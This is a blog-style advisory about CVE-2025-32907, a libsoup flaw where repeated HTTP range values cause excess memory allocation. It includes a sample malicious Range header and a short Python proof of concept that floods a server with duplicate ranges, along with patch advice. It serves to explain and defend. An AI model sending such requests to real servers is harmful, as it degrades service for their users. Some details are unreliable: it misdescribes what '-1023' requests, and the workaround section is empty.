A new security issue, tracked as CVE-2025-32907, was recently found in libsoup, a popular HTTP library used on Linux systems (especially in GNOME and web servers). This flaw deals with how the library handles HTTP range requests. In this post, I’ll explain what went wrong, how attackers can abuse this, and what you can do to stay safe.
What’s the Issue?
Libsoup supports HTTP range requests. These let clients ask for only a part of a file (common in downloads, video streaming, etc.). Unfortunately, the library does not correctly limit or check overlapping or repeated range values within a single HTTP request.
This means an attacker can ask for the same range multiple times in one request. Libsoup treats each range like a separate request, allocating memory for each—even if they’re duplicates! With enough repeated ranges, an attacker can force the server to allocate lots of memory for no real gain.
Importantly, this doesn’t let attackers fully crash your server (no total Denial of Service), but it can slow things down and burn resources.
Here’s what a malicious request might look like
GET /bigfile.bin HTTP/1.1
Host: example.com
Range: bytes=-1023,-1023,-1023,-1023,-1023,-1023,-1023,-1023,-1023,-1023
This request asks for the first 1024 bytes of a file — not once, but 10 times. The attacker could add hundreds or even thousands of repeats. Libsoup, as affected by CVE-2025-32907, would actually process all of these as unique requests and try to prepare the same byte range over and over in the server’s memory.
Demonstration: Exploiting the Flaw
Below is a Python snippet showing how simple it might be to create one of these malicious range requests:
import requests
url = 'http://localhost:808/bigfile.bin';
# Repeat same byte range 100 times
ranges = ','.join(['-1023'] * 100)
headers = {
'Range': f'bytes={ranges}'
}
response = requests.get(url, headers=headers)
print(response.status_code)
# Should trigger vulnerable libsoup server to use a LOT of memory
If you point this at a server running an affected version of libsoup (say, via GNOME Web, WebkitGTK, or a C server using libsoup), you’ll likely see a spike in its memory use.
Impact: Why Does This Matter?
- Resource Exhaustion: The main risk is *resource consumption* — attackers can make your server use a ton of RAM.
- Slower Service: Even if the server doesn’t outright crash, it may slow down or become unstable.
- Partial DoS: It’s not a full DoS (denial of service), but it could degrade service on busy servers or those with little free RAM.
- Not Remote Code Execution: Attackers don’t get control over the server, they just waste its memory.
- Any software using an affected version of libsoup for its HTTP or web server, including
- GNOME Web/epiphany
WebKitGTK
- Some custom C/C++ HTTP servers
Servers using more fully-featured web server software (like Apache or NGINX) are not affected unless they use libsoup under the hood.
How to Fix or Mitigate
Solution:
- Upgrade to a patched version of libsoup. Check for an update at your distro security page or at the official libsoup downloads page.
Some vendors may backport a fix; watch for security advisories.
Workaround:
References and Further Reading
- Red Hat CVE page for CVE-2025-32907
- libsoup upstream code
- HTTP Range Requests explained (Mozilla)
- General security practices in GNOME
Summary Table
| Affected Software | Risk Level | Fix Available? | Remote Exploit | Impact |
|-----------------------|-------------|---------------|---------------|--------------------|
| libsoup <= vulnerable | Moderate | Yes | Yes | Memory exhaustion |
Final Thoughts
CVE-2025-32907 is an example of how subtle problems in protocol handling can lead to big headaches. If you maintain a server or application that uses libsoup, double-check your version and patch if needed. While this bug doesn’t let hackers run code on your machine, it can tie up resources and degrade service.
If you want to dig further, follow the references above. Stay safe, keep your libraries up to date, and keep an eye on those HTTP headers!
Timeline
Published on: 04/14/2025 14:15:24 UTC
Last modified on: 05/05/2025 03:15:22 UTC